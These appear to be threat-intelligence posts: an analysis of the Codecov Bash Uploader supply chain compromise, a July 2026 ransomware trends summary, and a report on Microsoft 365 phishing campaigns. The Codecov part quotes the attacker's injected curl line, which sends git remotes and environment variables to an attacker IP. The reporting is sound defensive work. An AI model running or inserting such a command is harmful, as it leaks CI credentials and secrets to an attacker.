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Codecov Bash Uploader Supply Chain Attack

Arete Analysis

Executive Summary

On April 15, Codecov announced a compromise to its Bash Uploader (a software application used in some of its products), whereby a threat actor was able to send sensitive information from the affected environment to a server they controlled. It appears the threat actor had access to the environment from about January 31 to April 1 before Codecov learned of the compromise. Since that time, the company has taken steps to secure and remediate the affected program, begun an investigation to assess the impact, and reported the incident
to law enforcement.

The compromised software allowed the attacker to steal any credentials, authentication tokens, or keys that victims were passing through their continuous integration (CI) environment when the Bash Uploader program was executed. The compromise’s full impact may be seen in the coming months when cybercriminals begin to use stolen credentials to attack and steal sensitive information from affected companies.

Like the SolarWinds incident, which affected about 18,000 customers, including private organizations and the federal government, this compromise is one of the latest supply chain attacks. It also resembles a compromise from 2020 when hackers breached Git analytics provider Waydev to steal its customers’ GitHub and GitLab OAuth tokens to access their internal networks and steal sensitive information.

Codecov has about 29,000 clients, including companies like Atlassian, Procter & Gamble, GoDaddy, the Washington Post, Royal Bank of Canada, Tile, Dollar Shave Club, Mozilla, Webflow, Palo Alto Networks, and IBM.

Overview

The threat actor leveraged an error in Codecov’s Docker image creation process to steal the credential required to modify the Bash Uploader program.

Since the end of January, the threat actor made periodic, unauthorized alterations to the Bash Uploader program, which enabled them to steal and send information stored in the users’ CI environments to a third-party server they controlled.

Apparently, the threat actor added the following code to the program:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)”
http://ATTACKER_IP/upload/v2 || true

where ATTACKER_IP = 104.248.94[.]23¹

Because the compromised Codecov Bash Uploader program is embedded in other products, it is believed that many of the company’s customers are likely affected. Some affected products include:

  • Codecov-actions uploader for GitHub

  • Codecov CircleCI Orb

  • Codecov Bitrise Step

According to the company, the compromised Bash Uploader script software could potentially affect:

  • Any credentials, tokens, or keys that Codecov’s customers were passing through their CI
    runner that would be accessible when the Bash Uploader program was executed.

  • Any services, datastores, and application code that could be accessed with these credentials,
    tokens, or keys.

  • The git remote information (URL of the origin repository) of repositories using the Bash
    Uploaders to upload coverage to Codecov in CI.

It appears a customer discovered the software compromise when they noticed the program hash (a software digital fingerprint to confirm the program integrity) did not match that of the software version.

Risk Mitigation

Codecov customers who used any of the affected tools are advised to change any credentials they sent to Codecov’s platforms during the affected period. Codecov strongly recommends that affected users immediately re-roll all their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.

The company says that clients can determine the keys and tokens they used in the CI environment by running the env command in their CI pipeline and, if anything returned from that command is considered private or sensitive, it strongly recommends invalidating the credential and generating a new one. Additionally, Codecov recommends clients audit the use of those tokens in their networks.

The company said it emailed affected users on April 15 using their email addresses on file from GitHub GitLab Bitbucket, and users will see a notification banner after they log into Codecov.

Additionally, customers using a local version of the affected program should check if the attacker’s code is present. If it is, they should replace the program from https://codecov.io/bash.

As a lesson learned, clients should compare the digital fingerprint hash value of the software against the hash value of the downloaded software.

Please find more information in the Codecov advisory: https://about.codecov.io/security-update/

¹ Popular Codecov code coverage tool hacked to steal dev credentials (bleepingcomputer.com) 

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Ransomware Trends & Data Insights: July 2026

INC Ransom was the most active threat group in July, while activity remained relatively distributed among multiple threat groups, with 19 unique groups observed throughout the month. Alongside INC Ransom, Qilin, Global Secret Group, Anubis, and DragonForce rounded out the five most active threat groups observed in July. Several emerging threat actors were also observed during the month, including Booba Team, Settra, and Global Secret Group.

Figure 1. Activity from the top 3 threat groups in July 2026

 Throughout the month, analysts at Arete identified several trends behind the threat actors perpetrating cybercrime activities:

  • In July 2026, Global Secret Group emerged as a new threat actor, leveraging the leaked LockBit 3.0 (LockBit Black) source code. Although the group began operations in June 2026, it quickly accumulated a substantial number of victims on its data leak site (DLS). The group operates through TOR-based negotiation portals and qTox communications. Notably, its DLS provides step-by-step guidance on purchasing Bitcoin, including references to Coinbase and Binance, demonstrating a streamlined, victim-focused extortion process designed to simplify ransom payments.

  • Similar to Fulcrumsec, the recently emerged Settra ransomware group appears to leverage AI-driven analysis of stolen data, publishing detailed and highly structured victim reports on its DLS. Additionally, a potential EDR-disabling tool, edr_blind.exe, was identified in multiple cases, suggesting a focus on defense-evasion capabilities.

  • With the continuation of the FortiBleed campaign, researchers have now identified compromised FortiGate credentials being leveraged by both the INC and Lynx ransomware operations. Analysis revealed direct operational links between the groups, including shared ransomware infrastructure and overlap between FortiBleed victims and ransomware targets. The operators are also incorporating AI to enhance various stages of the attack lifecycle and increase operational efficiency and scale. Notably, Arete also observed an INC ransomware intrusion leveraging FortiBleed-derived access in July, reinforcing the campaign's role as a precursor to ransomware deployment.

Sources

  • Arete Internal

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Current: Misconfigured Server Reveals Multiple Phishing Campaigns

Researchers uncovered three Microsoft 365 phishing campaigns after discovering a misconfigured HTTP server that exposed a threat actor’s phishing tools, configurations, victim logs, and operational infrastructure. The investigation revealed two operators using custom Evilginx-based adversary-in-the-middle (AiTM) phishing frameworks to steal authentication sessions and bypass MFA protections. A third operator abused Microsoft’s OAuth Device Code flow by tricking victims into completing authentication through Microsoft’s legitimate login process, allowing attackers to obtain valid access and refresh tokens without stealing passwords. The largest campaign compromised at least 218 victims across 12 countries, primarily targeting corporate Microsoft 365 accounts, with refresh tokens enabling persistent access. Researchers also identified the use of remote management tools for maintaining access, AI-assisted development of phishing tooling, and links to broader Phishing-as-a-Service (PhaaS) ecosystems, highlighting how commodity frameworks and automation are lowering the barrier for sophisticated identity-based attacks.

What’s Notable and Unique

  • The campaigns demonstrate the continued shift from traditional credential theft to identity- and token-based compromise, in which attackers target authentication sessions, cookies, and OAuth tokens rather than relying solely on password theft. By obtaining valid authentication artifacts, attackers can access Microsoft 365 environments while bypassing conventional MFA protections.


  • The use of Evilginx-based AiTM frameworks highlights how publicly available phishing tools have evolved into effective MFA-bypass platforms. These frameworks proxy legitimate login pages, capture authenticated sessions, and allow attackers to reuse valid sessions without requiring victims’ credentials again.


  • The OAuth Device Code flow abuse represents a different attack method, in which attackers leverage a legitimate Microsoft authentication mechanism to obtain tokens after victims approve the request. This approach bypasses password theft entirely by abusing trusted authentication workflows.


  • The exposed infrastructure provided insight into attacker operations, including phishing configurations, victim tracking data, remote administration tools, and evidence of AI-assisted development. The findings demonstrate how phishing ecosystems now provide reusable tooling and automation that reduce the technical expertise required to conduct large-scale identity attacks.

Analyst Comments

These Microsoft 365 phishing campaigns demonstrate the ongoing evolution of identity-focused attacks, as adversaries increasingly target authentication sessions, tokens, and legitimate cloud authorization mechanisms to bypass traditional security controls. The combination of AiTM phishing, OAuth abuse, remote management tools, and PhaaS infrastructure enables threat actors to maintain persistent access while blending into legitimate cloud activity.

The growing availability of phishing frameworks and AI-assisted attack development highlights the need for continuous identity security improvements beyond traditional phishing defenses. Arete recommends that organizations strengthen identity monitoring, adopt phishing-resistant MFA where possible, review OAuth application permissions, monitor token activity, and implement conditional access policies to detect and restrict suspicious Microsoft 365 authentication behavior. Security teams should also monitor post-compromise indicators such as abnormal mailbox access, suspicious application consent, unauthorized remote tools, and unusual sign-in activity.

Sources

  • One Misconfigured Server, Three Active Campaigns: Full exposure of three AiTM Phishing Operators

  • Misconfigured Server Reveals Three Evilginx Phishing Operations Targeting Microsoft 365

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